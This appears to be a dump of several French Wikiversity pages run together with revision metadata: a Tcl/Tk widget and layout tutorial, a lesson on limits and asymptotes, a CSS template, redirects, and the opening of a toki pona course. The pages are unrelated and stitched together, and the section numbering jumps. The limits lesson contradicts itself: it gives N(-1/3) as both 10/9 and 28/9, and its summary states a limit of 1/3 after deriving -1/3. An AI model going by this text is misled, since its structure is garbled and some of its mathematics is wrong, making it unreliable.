|-{{ligne grise}} | -justify | right, left, center. Si le widget contient un texte sur plusieurs lignes, la justification choisie sera appliquée. |} ==A vous Cognaq-Jay== Créez une application contenant un label, un bouton "Quitter", un bouton "Changer". Au départ, sur le label on lit : <pre> Je dis juste bonjour </pre> Quand on clique sur le bouton "Changer", le label devient "Vous venez de cliquer sur le bouton Changer", si on reclique, on revient à "Je dis juste bonjour" et ainsi de suite. Si on clique sur le bouton "Quitter", l'application se termine. Le bouton "Quitter" a un fond rouge, quand le curseur passe dessus se fond devient rose (#ff8080). Dans une seconde version, vous garderez cette même application, ajouterez les boutons flat, groove, sunken, ridge. Lors de l'appui sur ces boutons, la propriété -relief du label changera et prendra la valeur flat, groove, sunken, ridge. Je paye personnellement un coca-cola (virtuel) à celui qui réussira à faire ce dernier exercice avec une boucle sur la liste [list flat groove sunken ridge]. ==Placement des widgets== 3 modes de placement existent : * pack * grid * place ===Le packer :=== <pre>frame .top label .top.label -text "Name" entry .top.name -textvariable name image create photo test -file !/usr/src/linux/Documentation/logo.gif label .bottom -image test pack .top.label .top.name -side left pack .top .bottom -side top </pre> OOOOOpppps, il faut que je charge les images. Comment fait-on ? img/tk_pack1.gif Les widgets sont placés en colonnes ou lignes. Les colonnes ou les lignes sont créées les unes après les autres. Pour obtenir des placements par groupe de widget on utilise des frames qui vont contenir des widgets en horizontal ou en vertical. ===Le grider :=== <pre> label .one -text "One" entry .one_entry -textvariable one_entry label .two -text "BIIIIIG TWO" entry .two_entry -textvariable two_entry label .three -text "Un très grand commentaire" grid .one -column 1 -row 1 grid .one_entry -column 2 -row 1 grid .two -column 1 -row 2 grid .two_entry -column 2 -row 2 grid .three -column 1 -row 3 -columnspan 2 -stick e </pre> Les widgets sont placés sur une grille (comme dans un tableau html pour ceux qui connaissent). La taille des colonnes est calculée automatiquement. Le placer permet de placer les widgets en donnant directement leurs coordonnées. Je ne l'ai jamais utilisé. ==Le packer dans le détail - les options de pack== On peut utiliser la commande pack avec les options : <pre> -side [left|right|top|bottom] </pre> On choisit l'orientation (horizontal ou vertical) ainsi que l'endroit (de gauche à droite, de droite à gauche, de haut en bas, de bas en haut) dans lequel les widget sont placés. <pre> -fill [x|y|both|none] </pre> Défini si les widgets packés doivent remplir complètement l'espace disponible ou non en horizontal (x) ou en vertical (y). Par défaut l'option est none. <pre> -expand [true|false] </pre> Lors du redimmensionnement de la fenêtre, les widgets packés avec cette commande suivront l'expansion de la taille de la fenêtre. <pre> -padx [0-9]+ -pady [0-9]+ </pre> Le nombre de pixels à droite et à gauche du widget courant sera ajouté en horizontal (padx) ou en vertical (pady) autour du widget. <pre> -ipadx [0-9]+ -ipady [0-9]+ </pre> Le nombre de pixels nécessaire est ajouté à l'intérieur du widget à droite et à gauche (-ipady) ou au dessus et en dessous (-ipadx). On peut faire "oublier" un widget au packer en utilisant l'option forget. Enfin, pour pouvoir bouger un widget dans tous les sens, il faut qu'il soit défini avant un autre. ==Exercice== Votre mission si vous l'acceptez consiste à obtenir successivement les looks suivant avec le packer et 2 labels : img/tk_ex1.gif img/tk_ex2.gif img/tk_ex3.gif img/tk_ex4.gif img/tk_ex5.gif img/tk_ex6.gif Pour ce faire, vous allez lancer wish et vous allez créer les 2 widgets suivants en ligne de commande : <pre> label .lab1 -text "------------------------------lab1---------" label .lab2 -text "lab2" -relief ridge pack .lab1 </pre> Afin que votre cerveau ne s'auto-détruise pas au bout de 15 minutes, voici quelques conseils : * les 5 premiers écrans s'obtiennent uniquement en faisant bouger l'un ou l'autre des widgets avec la commande pack, * le dernier écran s'obtient en configurant l'option -anchor du label 2. Bien sûr, si votre mission échoue, nous nierons tout lien avec vous et peut-être même vous livrerons au côté obscure de la force dans la salle d'à côté. ==Les frames== Les frames sont comme le sel en cuisine, il en faut des pincées, cela reste invible, mais sans cela le plat est infect. Imaginons que nous souhaîtions avoir l'interface suivante : img/tk_ex7.gif ================= to be continued =============================== Le code correspondant est le suivant : ============================================== frame .frame1 -background "#808080" -relief groove frame .frame1.frame2 -background "#000000" -relief groove label .frame1.frame2.lab1 -text "Ici :" set ent1 "Entrée de texte numéro 1" entry .frame1.frame2.ent1 -textvariable ent1 -width 20 set ent2 "Entrée de texte numéro 2" entry .frame1.ent2 -textvariable ent2 -width 30 button .butt1 -background red -text "OK" -command {exit} pack .frame1.frame2.lab1 -side left pack .frame1.frame2.ent1 -fill x -expand true -side left pack .frame1.frame2 -side top -ipadx 5 -ipadx 5 pack .frame1.ent2 -side top -fill x -expand true pack .butt1 -fill both -expand true -side left pack .frame1 -fill x -expand true -ipadx 5 -ipady 5 -side left =============================================== Comme vous le voyez, les frames permettent de regrouper des ensembles de widget par ligne horizontale et verticale. Grâce à .frame1.frame2 on a groupé les widgets .frame1.frame2.lab1 et .frame1.frame2.ent1 horizontalement, puis dans .frame1 on a ajouté .ent2 et on les a empilés verticalement. Enfin on a placé .but1 et .frame2 cote à cote. En jouant judicieusement sur les options -expand et -fill, on arrive à obtenir un comportement sophistiqué de l'application lors des redimmensionnements. 14. Le gridder Dans certains cas, le packer est vraiment assez inadapté et oblige à utiliser un nombre incroyable de frame. Des extensions à tcl sont alors apparus qui intégraient des algorithmes de placement basés sur une grille de cases. Une grille est définie et l'on choisi le ou les cases sur lesquels un widget (ou un ensemble de widget dans une frame) vont être placés. Le gridder est plus verbeux que le packer à l'écriture parce qu'il faut une ligne pour chaque widget. Par contre, il est trivial de générer le code automatiquement. Les options de grid (au placement ou lors d'un configure) sont les suivantes : ================================== -column [0-9]+ -row [0-9]+ ================================== Identification de la case où le widget sera placé =================================== -columnspan [0-9]+ -rowspan [0-9]+ ================================== Le widget est placé sur une ou plusieurs colonnes, sur une ou plusieurs lignes. =================================== -padx -pady -ipadx -ipady =================================== Strictement identique à ces valeurs dans le packer. =================================== -sticky [ewns]+ =================================== La manière dont le widget est "collé" aux bords. Si l'on souhaite qu'en cas de redimensionnement le widget voit sa taille augmenté, on utilise -sticky ew ou ns ou ewns. Il est possible de fixer les attributs d'une colonne ou d'une ligne grâce à ===================================== grid columnconfigure columnindex [-minsize [0-9]+] [-weight [0-9]+] [-pad [0-9]+] grid rowconfigure rowindex [-minsize [0-9]+] [-weight [0-9]+] [-pad [0-9]+] ===================================== Assez étrangement, les numéros de lignes et de colonnes commencent à 1 et non pas à 0. 16. Evénements disponibles On peut associer à chaque événement d'un widget des actions. Cela se fait avec la commande bind. ======================================== label .lab1 -textvariable var bind .lab1 &lt;Enter> { incr var } bind .lab1 &lt;1> { incr var 10 } bind .lab1 &lt;Button-2> { incr var 20 } bind all &lt;Key> { set var2 "%K" } label .lab2 -textvariable var2 pack .lab2 ========================================= La syntaxe de bind est : ========================================== bind [.nom_d_un_widget|all] &lt;événement> { script à exécuter } ========================================== La syntaxe des événements est un peu particulière. En première approximation, c'est : <type_d_evenement-evenement> ''type_d_evenement'' peut être : || ButtonPress <=> Button | Expose | Map | ButtonRelease | FocusIn | Motion | Circulate | FocusOut | Property | Colormap | Gravity | Reparent | Configure | KeyPress <=> Key | Unmap | Destroy | KeyRelease | Visibility | Enter | Leave | Activate | Deactivate Button et Key sont d'utilisation très courantes. Il m'est arrivé d'utiliser aussi Enter et Leave. ''evenement'' peut être : * 1 : le bouton 1 de la souris, * 2 : le bouton 2 de la souris, * 3 : le bouton 3 de la souris, * le nom d'une touche : abcdefghij...left, right, up, down, Control_L, Control_R, Insert, Delete, .... En ce qui concerne les touches, attention, il peut y avoir des différences de dénomination entre OS. Utilisez l'exemple plus haut pour connaître le code. Enfin devant tout cela ( type_d_evenement-evenement ), il peut y avoir un modificateur. Par exemple, on peut demander à ce que la touche Ctrl soit appuyé, Alt ou Shift, ou vouloir un double clique, ou que le bouton 1 de la souris soit activé. Les autres événements me paraissent moins utiles. La liste est la suivante : || Control | Mod2 <=> M2 | Shift | Mod3 <=> M3 | Lock | Mod4 <=> M4 | Button1 <=> B1 | Mod5 <=> M5 | Button2 <=> B2 | Meta <=> M | Button3 <=> B3 | Alt | Button4 <=> B4 | Double | Button5 <=> B5 | Triple | Mod1 <=> M1 Enfin, dans le script associé au binding, on peut récupérer diverses informations sur l'événement grâce à des chaines du type %x : * %b : numéro du bouton pour les événements ButtonPress et ButtonRelease, * %k : le code de touche pour l'événement KeyPress ou KeyRelease, * %K : le code de touche sous forme de chaîne pour les 2 événements décrits plus haut, * %X : coordonnée horizontal de l'événement dans le widget courant (pour ButtonPress, ButtonRelease, KeyPress, KeyRelease ), * %Y : coordonnée vertical de l'événement dans le widget courant (pour ButtonPress, ButtonRelease, KeyPress, KeyRelease ). La page de man de bind donne toutes les indications. 11. Liste des widgets disponibles | button | canvas | checkbutton | entry | frame | label | listbox | menu | menubutton | message | radiobutton | scale | scrollbar | text | toplevel | tk_getOpenFile | tk_getSaveFile | tk_chooseColor | tk_dialog | tk_optionMenu | ... 16. Les boutons Pour avoir toutes les options, n'hésitez pas à vous reporter à la page de man. Les options me semblant crucialement utiles sont : || Option | Signification | -background | couleur de fond du bouton | -activebackground | couleur de fond lorsque le curseur est sur le bouton | -text | le texte du bouton | -image | une image précédemment chargée s'affiche dans le bouton | -command | commande(s) exécutées lors de l'appui sur le bouton 17. Les labels Les labels sont les widgets contenant un texte non modifiable interactivement. Evidemment le texte est modifiable via programmation. || Option | Signification | -text | le texte du bouton | -textvariable | une variable dont le contenu s'affichera dans le widget Le widget "message" est un label multiligne. 18. Les entrées de texte || Option | Signification | -textvariable | une variable dont le contenu s'affichera dans le widget | -width | le nombre de caractères par défaut du widget en largeur 19. Les cases à cocher Une case à cocher permet de savoir si une option est ou non sélectionnée. Cela s'utilise de la manière suivante : ========================================= checkbutton .c1 -text "Essai" -variable check1 \ -command { puts "c1 contient $check1" } ========================================== Les options -onvalue -offvalue permettent de forcer une valeur pour la variable selon que la case est ou non cochée. 20. Les boutons radio Les boutons radio sont des cases à cocher dont une seule peut-être active à la fois. =================================== radiobutton .r1 -text "Tout" \ -variable test -value "tout" -anchor w radiobutton .r2 -text "Rien" \ -variable test -value "rien" -anchor w .r1 select .r2 invoke .r2 deselect .r1 toggle =================================== 21. Les menus Pour créer un menu avec des listes déroulantes, on utilise simplement une frame (-relief raised), avec à l'intérieur des widget "menubutton". A chaque menubutton on associe un widget fils menu. Ce menu est composé d'entrée de type command (avec option -label, -command), de type radiobutton (option -label, -command, -variable et -value) de type checkbutton (-label -command -variable -onvalue -offvalue) ou de type cascade (option -label -cascade) enchaînant vers un autre menu. L'option -accelerator permet d'associer une touche d'accélération pour activer l'entrée de menu correspondante. Il existe aussi des menus d'options : tk_optionMenu ================================== tk_optionMenu .nom_du_widget variable_global \ elt1_du_menu elt2 elt3 ... ================================== Ainsi que des menus pop-up. ====================================== set filetype text menubutton .file \ -text "File" -menu .file.menu pack .file -side left menu .file.menu .file.menu add command \ -label "Nouveau" \ -command { puts "New" } .file.menu add command \ -label "Ouvrir..." \ -command { puts "Open..." } .file.menu add separator .file.menu add radiobutton \ -label "Graphique" -variable filetype \ -value "graphic" -command { puts $filetype } .file.menu add radiobutton \ -label "Texte" -variable filetype \ -value "text" -command { puts $filetype } .file.menu add separator .file.menu add checkbutton \ -label "Fichier rw seulement" \ -variable rwfile -onvalue on \ -offvalue off -command { puts $rwfile } .file.menu add separator .file.menu add cascade \ -label "Autre menu" -menu .file.menu.sousmenu .file.menu add command \ -label "Exit" \ -command { exit } menu .file.menu.sousmenu .file.menu.sousmenu add command \ -label "Action 1" \ -command { puts "Sous-menu action 1" } .file.menu.sousmenu add command \ -label "Action 2" \ -command { puts "Sous-menu action 2" } ============================================ img/tk_menu1.gif 22. Les images Comme nous l'avons vu précédemment, il est possible d'associer un bitmap (noir et blanc) ou une photo à un widget (bouton, label). La procédure est simple : * on crée l'image de type photo (couleur) ou bitmap (pixel noir ou blanc), * on associe la photo créée au widget. Prenons le cas de la photo : ============================== image create photo toto_photo -file nom_d_un_fichiergifoujpeg ============================== Il ne reste plus qu'à associer la photo à un label ============================== label .lab1 -image toto_photo ============================== Il est évidemment possible de changer de photo par exemple : ============================== toto_photo configure -file !nom_dunautrefichier.jpg ============================== Vous pouvez vous reporter au man de la commande image pour voir les commandes disponibles. 23. Interface graphique contre grosse fatigue Nous allons refaire un joyeux exercice, mais cette fois-ci vous allez pouvoir utiliser un builder graphique d'application. Il en existe 3 pour tk. Le plus ancien est SpecTcl (http://wuarchive.wustl.edu/languages/tcl/SpecTcl/). A sa création par les laboratoires de Sun, s'était un produit commercial. Ils l'ont rapidement mis dans le domaine public et abandonné le développement. Le résultat est un excellent produit stable et facile à utiliser mais qui n'évolue plus (et s'est bien dommage). C'est ce que j'ai utilisé au départ. L'inconvénient de specTcl est qu'il faut très régulièrement retouché le code généré. A partir du moment où on touche le code généré par un builder, on ne peut plus du tout continuer à utiliser l'interface graphique et cela perd de son intérêt. ''Nouveau : le développement de specTcl a repris. Il se trouve maintenant sur sourceforge.net.'' tkBuilder que l'on peut trouver sur http://scp.on.ca/sawpit, est un outil moins graphique que specTcl, mais très pratique pour le programmeur. C'est un excellent support graphique à la programmation. Grâce à la possibilité de rajouter du code manuel un peu partout, il est très facile de ne pas avoir à modifier le code. Enfin, Visual Tcl est un logiciel constamment prometteur, certainement le plus ambitieux des 3 (le plus proche de VB ?). On le trouve sur : http://vtcl.sourceforge.com Malheureusement, à chaque fois que je l'utilise, il me claque entre les mains. Je vous propose malgrè tout de voir si la dernière version (1.6alpha) tient ou non la route. Je vous propose de charger l'un des 3 et de faire les exercices suivants avec une interface de construction. A charge pour vous de lire le manuel. 24. Vous n'allez pas rigoler Votre but est de créer l'application suivante : img/tkbuilder_test_appli.gif On donne en haut le nom d'un fichier gif ou jpeg et quand on appuie sur le bouton Ouvrir cette image est affichée dans le label central. Bien sûr, on peut répéter l'opération d'ouverture à chaque fois. On peut choisir le nom de fichier ou en le tapant dans l'entrée de texte du haut ou en cliquant sur le bouton à coté de l'entrée de texte qui permet d'appeler le widget tk_getOpenFile. On utilise cette fonction de la manière suivante : ======================= set filename [tk_getOpenFile -filetypes \ [list [list "Fichiers graphique" {.gif .jpg .jpeg}] \ [list "Tous fichiers" {*}]]] ======================= tk_getOpenFile est un widget standard de tcl ayant un manuel. J'ai utilisé tkBuilder pour créer cette application : img/tkbuilder.gif mais n'hésitez pas à utiliser un autre builder. 25. La prochaine fois Nous parlerons des widgets text et canvas, ainsi que de "megawidgets" tels que les combobox, les notebooks, le tree widget, les widgets d'affichage de l'html. Puis nous attaquerons la programmation de scripts cgi en tcl/tk. ''Bibliographie'' "Graphical Applications with Tcl&Tk" de Eric F. Johnson, M&T Books, ISBN 1-55851-471-6 : le livre avec lequel j'ai appris le tcl/tk. Pas complet, mais très pédagogique et agréable à lire. Faculté de Mathématiques/Limites 8001 43785 2006-06-02T23:24:50Z WikiC 1349 /* Asymptotes */ == Limite d'une fonction == === Approche === * Soit <math>f:x \mapsto 2x</math>. Que se passe-t-il lorsque <math>x</math> devient de plus en plus grand, autrement dit, lorsque <math>x</math> tend vers l'infini ?<br /> <math>f(x)</math> tend également vers l'infini. On note : <math>\lim_{x \to {+ \infty}}f(x) = + \infty</math>. On énonce : « la limite de <math>f(x)</math> quand <math>x</math> tend vers <math>{+ \infty}</math> est égale à <math>{+ \infty}</math> ». De même, nous pouvons écrire : <math>\lim_{x \to -\infty}f(x) = -\infty</math>. Intéressons-nous maintenant à une valeur précise de <math>x</math>. Par exemple, pour <math>x=4</math>, <math>f(x)=8</math>. Mais alors si <math>x</math> tend vers 4, <math>f(x)</math> va s'approcher de plus en plus de <math>f(4)=8</math> : <math>\lim_{x \to 4}f(x) = 8</math>. * Soit <math>g:x \mapsto \frac{1}{x}</math>. Si <math>a</math> est un réel quelconque, on a bien : <math>\lim_{x \to a} g(x) = \frac{1}{a}</math>. Lorsque <math>x</math> devient très grand, nous pouvons concevoir que <math>\frac{1}{x}</math> devient très petit, se rapprochant de 0 : <math>\lim_{x \to {+ \infty}} g(x) = 0</math>. De même, quand <math>x</math> prend des valeurs négatives très petites, <math>\lim_{x \to {- \infty}} g(x) = 0</math>. * Soit <math>h:x \mapsto 3x^2-4x+1</math>. Essayons de calculer sa limite aux infinis : {| cellpadding="5" cellspacong="0" border="0" align="center" | <math>h(x)=3x^2-4x+1\,</math><br /> <math>h(x)=3x^2\left(1-\frac{4}{3x}+\frac{1}{3x^2} \right)</math><br /> | or nous savons que : <math>\lim_{x \to +\infty}1 = \lim_{x \to -\infty}1 = 1</math><br /> <math>\lim_{x \to +\infty}-\frac{4}{3x} = \lim_{x \to -\infty}-\frac{4}{3x} = 0</math><br /> <math>\lim_{x \to +\infty}\frac{1}{3x^2} = \lim_{x \to -\infty}\frac{1}{3x^2} = 0</math> |- | colspan="2" | donc <math>\lim_{x \to +\infty} \left(1-\frac{4}{3x}+\frac{1}{3x^2} \right) = 1</math> et finalement <math>\lim_{x \to +\infty} {h(x)} = +\infty</math>. |} {| | Plus généralement, calculons la limite d'une fonction polynôme : Soit <math>h:x \mapsto \sum_{i=0}^n a_ix^i</math>. <math>h(x)=\sum_{i=0}^n a_ix^i</math><br /> <math>h(x)=a_nx^n \left( \sum_{i=0}^n \frac{a_ix^i}{a_nx^n} \right)</math><br /> <math>h(x)=a_nx^n \left( 1+\sum_{j=0}^{n-1} \frac{a_jx^j}{a_nx^n} \right)</math><br /> <math>h(x)=a_nx^n \left( 1+\sum_{j=0}^n \frac{a_j}{a_nx^{n-j}} \right)</math><br /> | Or, lorsque <math>0<j<n</math> : <math>\lim_{x \to \pm \infty} \left( \frac{a_j}{a_nx^{n-j}} \right) = 0</math><br /> <math>\lim_{x \to \pm \infty}1 = 1</math><br /> d'où : <math>\lim_{x \to \pm \infty} \left( 1+\sum_{j=0}^n \frac{a_j}{a_nx^{n-j}} \right) = 1</math><br /> et : <math>\lim_{x \to \pm \infty} {h(x)} = \lim_{x \to \pm \infty} a_nx^n</math>. |} Nous retiendrons qu'une fonction polynôme se comporte, aux infinis, comme son terme de plus haut degré. === Calcul de limite === ==== Limite en un point ==== Soit <math>f</math> une fonction numérique et <math>a</math> appartenant à <math>\mathbb{R}</math>. <math>\lim_{x \to a} f(x) = f(a)</math> ==== Limite aux infinis de fonctions de référence ==== {| cellpadding="5" cellspacong="0" border="0" align="center" |- | *<math>g:x \mapsto ax+b;(a,b) \in \mathbb{R}^2</math><br /> {| border="0" |- align="center" | Si <math>a>0</math> | Si <math>a<0</math> |- | <math>\lim_{x \to + \infty} g(x) = + \infty</math><br /> | <math>\lim_{x \to + \infty} g(x) = - \infty</math><br /> |- | <math>\lim_{x \to -\infty} g(x) = -\infty</math> | <math>\lim_{x \to -\infty} g(x) = + \infty</math> |} | *<math>h:x \mapsto x^{2n};n \in \mathbb{N}^*</math><br /> <math>\lim_{x \to \pm \infty} h(x) = + \infty</math> |- | *<math>k:x \mapsto x^{2n+1};n \in \mathbb{N}^*</math><br /> <math>\lim_{x \to + \infty} k(x) = + \infty</math><br /> <math>\lim_{x \to -\infty} k(x) = -\infty</math> | *<math>l:x \mapsto \frac{1}{ax+b}</math><br /> avec <math>(a,b) \in \mathbb{R}^2, ax+b \ne 0</math><br /> <math>\lim_{x \to \pm \infty} l(x) = 0</math> |- | colspan="2" | *<math>m:x \mapsto \sum_{i=0}^n a_ix^i</math><br /> <math>\lim_{x \to \pm \infty} {f(x)} = \lim_{x \to \pm \infty} a_nx^n</math> |- |} ==== Opérations ==== Soient <math>f</math> et <math>g</math> deux fonctions numériques.<br /> Soient <math>(m,l) \in \mathbb{R}^2</math>.<br /> « F.I. » désignera une forme indéterminée à traiter au cas par cas.<br /> Les F.I. sont de type <math>\infty - \infty</math>, <math>\frac{ \infty}{ \infty}</math>, <math>\frac{0}{0}</math> et <math>0 \times \infty</math> {| border="1" cellspacing="0" cellpadding="5" align="center" ! <math>\lim_{x \to a} f(x)</math> ! <math>\lim_{x \to a} g(x)</math> ! <math>\lim_{x \to a} (f+g)(x)</math> ! <math>\lim_{x \to a} (fg)(x)</math> ! <math>\lim_{x \to a} \frac {f(x)}{g(x)}</math> |- align="center" | <math>l\,</math> | <math>m\,</math> | <math>l+m\,</math> | <math>lm\,</math> | <math>\frac {l}{m}</math><br /> F.I. si <math>l=m=0\,</math> |- align="center" | <math>l\,</math> | <math>{+\infty}</math> | <math>{+\infty}</math> | <math>{+\infty}</math> si <math>l>0\,</math><br /> <math>{-\infty}</math> si <math>l<0\,</math><br /> F.I. si <math>l=0\,</math> | <math>0\,</math> |- align="center" | <math>l\,</math> | <math>{-\infty}</math> | <math>{-\infty}</math> | <math>{-\infty}</math> si <math>l>0\,</math><br /> <math>{+\infty}</math> si <math>l<0\,</math><br/ > F.I. si <math>l=0\,</math> | <math>0\,</math> |- align="center" | <math>{+\infty}</math> | <math>{+\infty}</math> | <math>{+\infty}</math> | <math>{+\infty}</math> | F.I. |- align="center" | <math>{-\infty}</math> | <math>{-\infty}</math> | <math>{-\infty}</math> | <math>{+\infty}</math> | F.I. |- align="center" | <math>{+\infty}</math> | <math>{-\infty}</math> | F.I. | <math>{-\infty}</math> | F.I. |} === Exemples === * Soit <math>f:x \mapsto \frac{x^2-3x+2}{-3x^2+5x+2}</math>. Que vaut sa limite aux bornes de son domaine de définition ? <math>-3x^2+5x+2=0 \Leftrightarrow x=-\frac{1}{3} \mbox{ ou } x=2</math><br /> <math>\mathcal{D}_f= \mathbb{R}- \{ -\frac{1}{3};2 \}</math><br /> Nous allons étudier la limite de <math>f</math> aux infinis, en <math>-\frac{1}{3}</math> et en <math>2</math>. ---- <math>\lim_{x \to \pm \infty} f(x)= \lim_{x \to \pm \infty} \frac{x^2}{-3x^2}</math><br /> <math>\lim_{x \to \pm \infty} f(x)= -\frac{1}{3}</math><br /> ---- {| cellpadding="5" cellspacong="0" border="0" align="center" | On pose : <math>N(x)=x^2-3x+2\,</math><br /> et <math>D(x)=-3x^2+5x+2\,</math>. <math>\lim_{x \to -\frac{1}{3}} N(x)=N \left( -\frac{1}{3} \right)= \frac{10}{9}</math><br /> <math>\lim_{x \to -\frac{1}{3}} D(x)=D \left( -\frac{1}{3} \right)=0</math><br /> <math>-\frac{1}{3}</math> étant une valeur interdite, nous allons envisager deux cas de figure : <math>x</math> va tendre vers <math>-\frac{1}{3}</math> soit par <math>{-\infty}</math>, soit par <math>{+\infty}</math> mais sans jamais l'atteindre.<br /> | {| align="center" cellpadding="5" border="0" |- align="center" | colspan="2" | Grâce au signe du trinôme, nous pouvons dire que : |- align="center" | pour <math>x<-\frac{1}{3}</math>,<br /> <math>D(x)<0\,</math> et<br /> <math>N \left( -\frac{1}{3} \right)= \frac{28}{9}>0</math><br /> ainsi, <math>\lim_{x \to -\frac{1}{3}^-} f(x) = {-\infty}</math> | pour <math>x \in \left]-\frac{1}{3};2 \right[</math>,<br /> <math>D(x)>0\,</math> et<br /> <math>N \left( -\frac{1}{3} \right)= \frac{28}{9}>0</math><br /> ainsi, <math>\lim_{x \to -\frac{1}{3}^+} f(x) = {+\infty}</math> |} |} ---- {| | <math>\lim_{x \to 2} N(x)=N(2)=0\,</math><br /> <math>\lim_{x \to 2} D(x)=D(2)=0\,</math> Nous sommes en présence d'une forme indéterminée de type « <math>\frac{0}{0}</math> ». | Comme <math>N(2)=0</math> et <math>D(2)=0</math>, <math>2</math> est bien une racine de ces deux polynômes. Factorisons donc <math>f</math>. Soient <math>x_1</math> et <math>x_2</math> les racines de <math>N(x)</math>.<br /> <math>N(x)=0 \Leftrightarrow x^2-3x+2=0</math><br /> Nous savons que <math>x_1=2</math>, donc : <math>2x_2= \frac{2}{1}</math> et : <math>x_2=1\,</math>.<br /> Les racines de <math>N(x)</math> sont : <math>1</math> et <math>2</math>.<br /> |} {| border="0" align="center" cellpadding="5" |- | colspan="2" | Nous avons vu précédemment que les racines de <math>D(x)</math> sont : <math>-\frac{1}{3}</math> et <math>2</math>, ainsi : |- | <math>f(x)= \frac{x^2-3x+2}{-3x^2+5x+2}</math><br /> <math>f(x)= \frac{(x-2)(x-1)}{-3(x-2)(x+\frac{1}{3})}</math><br /> <math>f(x)= \frac{x-1}{-3(x+\frac{1}{3})}</math><br /> | donc | <math>\lim_{x \to 2} f(x)=f(2)</math><br /> <math>\lim_{x \to 2} f(x)=\frac{(2-1)}{-3(2+\frac{1}{3})}</math><br /> <math>\lim_{x \to 2} f(x)=-\frac{1}{7}</math> |- |} ---- En résumé :<br /> {| |- | <math>\lim_{x \to \pm \infty} f(x)= \frac{1}{3}</math> | <math>\lim_{x \to -\frac{1}{3}^-} f(x) = {-\infty}</math> |- | <math>\lim_{x \to -\frac{1}{3}^+} f(x) = {+\infty}</math> | <math>\lim_{x \to 2} f(x)=-\frac{1}{7}</math> |- |} === Asymptotes === Regardons les courbes représentatives des fonctions suivantes :<br /> <math>f:x \mapsto \frac{1}{x}</math> et <math>f:x \mapsto \frac{1}{x} + x</math>. <center>[[Image:Courbe fonction inverse.png|200px]] [[Image:Fonction avec asymptote oblique.png|200px]]</center> Dans le premier graphe, lorsque <math>x</math> est de plus en plus grand ou de plus en plus petit, la courbe se rapproche de l'axe des abscisses mais sans la toucher. Cette dernière est une ''asymptote horizontale'' de la fonction inverse. De même, la courbe se rapproche également de l'axe des ordonnées, sans jamais la croiser, lorsque <math>x</math> tend vers 0. Nous avons là une ''asymptote verticale'' de <math>f</math>. Dans le second graphe, la courbe représentative de <math>g</math> se rapproche cette fois d'une droite ni horizontale ni verticale. Il s'agit d'une ''asymptote oblique'' de <math>g</math>. ==== Asymptote horizontale et verticale ==== Dire que la courbe représentative d'une fonction <math>f</math> se rapproche d'une droite horizontale d'équation <math>y=a</math> quand <math>x</math> devient très grand (ou très petit) signifie que <math>f(x)</math> tend vers la valeur <math>a</math> quand <math>x</math> tend vers l'infini. Ainsi, la droite <math>\Delta:y=a\,</math> est asymptote horizontale de <math>f</math> si et seulement si <math>\lim_{x \to \pm\infty} f(x)=a</math>. Quand la courbe représentative de <math>f</math> rapproche d'une droite verticale d'équation <math>\Delta_2:x=b\,</math>, c'est <math>f(x)</math> qui tend vers l'infini cette fois, lorsque x se rapproche de cette valeur <math>b</math>. <math>\Delta_2</math> est alors asymptote verticale de <math>f</math> si et seulement si <math>\lim_{x \to b} f(x)=\pm \infty</math>. Chercher une asymptote horizontale d'une fonction revient à calculer la limite en <math>\pm\infty</math> de cette fonction. Lorsqu'il y a une asyptote verticale en <math>x=b</math>, la courbe de la fonction ne touche pas la droite, et donc <math>f(b)</math> n'est pas définie ; il s'agit d'une borne du domaine de définition de la fonction. Chercher une asymptote verticale d'une fonction revient alors à calculer les limites aux bornes du domaine de définition de cette fonction. ==== Asymptote oblique ==== L'écart entre une courbe représentative d'une fonciton <math>f</math> et une asymptote oblique d'équation <math>\Delta_3:y=ax+b\,</math> devient de plus en plus petit quand <math>x</math> grandit. La différence d'écart <math>f(x)-(ax+b)</math> tend donc à diminuer jusqu'à devenir quasi-nulle quand <math>x</math> tend vers l'infini. Une droite d'équation <math>y=ax+b</math> est asymptote oblique de <math>f</math> équivaut à dire que : <math>\lim_{x \to \pm\infty} f(x)-(ax+b)=0</math>. === Exercices === == Limite d'une suite == === Approche === === Règles === ==== Limite de suites de référence ==== ==== Opérations ==== === Exercices === [[Catégorie:Faculté de Mathématiques de la Wikiversité]] Mathématiques niveau seconde/Inéquations 8004 39841 2006-04-08T13:02:21Z 80.9.79.61 Résoudre l'iéquation suivate : 2-4x ---- <0 x-3 Modèle:CadreProgCSS 8005 39857 2006-04-08T19:15:53Z Clément Cordaro 1305 <div style="background: #faebd7; border: 1px solid #deb887; -moz-border-radius-topright: 0.5em; -moz-border-radius-topleft: 0.5em; color: #603b00; font-size: 120%; padding: 0.3em; text-align: center;">{{{titre}}}</div> <div style="background: #fff; border: 1px solid #ccc; border-top: 0; margin-bottom: 1em; padding: 0.3em;"> {{{contenu}}} </div> Programmation CSS - Généralités 8007 39863 2006-04-08T19:31:58Z Clément Cordaro 1305 [[Programmation CSS - Généralités]] déplacé vers [[Programmation CSS - Introduction]] #REDIRECT [[Programmation CSS - Introduction]] Programmation CSS - Feuille de style et structure 8008 39867 2006-04-08T19:34:09Z Clément Cordaro 1305 [[Programmation CSS - Feuille de style et structure]] déplacé vers [[Programmation CSS - Structure et syntaxe]] #REDIRECT [[Programmation CSS - Structure et syntaxe]] Enseignement du toki pona 8012 41281 2006-04-30T11:14:29Z Tensai 654 [[Toki pona - Introduction]] déplacé vers [[Enseignement du toki pona]] {{Utilisateur:Tensai/modèles/Toki pona}} {{Utilisateur:Tensai/modèles/Leçons}} '''Introduction au Toki pona de Laurent Vogel.''' Le toki pona est une langue artificielle inventée par Sonja Elen Kisa et publiée en 2001. « toki pona » signifie « langue bonne, langue du bien ». La langue se base sur la philosophie du [[Dao]], et vise avant tout la simplicité de la phonologie, de la grammaire, et du vocabulaire, ce qui la rend facile à apprendre. Le vocabulaire ne comporte que 118 mots (et pas un de plus : le dictionnaire officiel est intentionnellement figé) et pourtant on est surpris de la relative expressivité qu'il autorise. Le toki pona n'est pas parlé par beaucoup de monde. Il existe cependant un [http://groups.yahoo.com/group/tokipona/ groupe de discussion sur Yahoo], un forum IRC, quelques pages web contenant une littérature pour l'instant limitée (oeuvres originales et traductions).[http://www.tokipona.org] J'ai commencé à écrire ces leçons en français comme une traduction littérale des excellentes leçons en anglais de jan Pije, qui ont fait autorité pendant ces dernières années. Au cours de traduction, j'ai pris connaissance de la version en esperanto que Jim Henry avait juste commencé à publier (un peu en aveugle à vrai dire car je n'ai pas appris l'esperanto). Ces leçons sont donc une traduction et une adaptation à la fois des versions de jan Pije et de Jim Henry. Je leur addresse ici mes remerciements. Toki pona - Leçon 1: prononciation et orthographe 8013 40419 2006-04-17T10:19:58Z Tensai 654 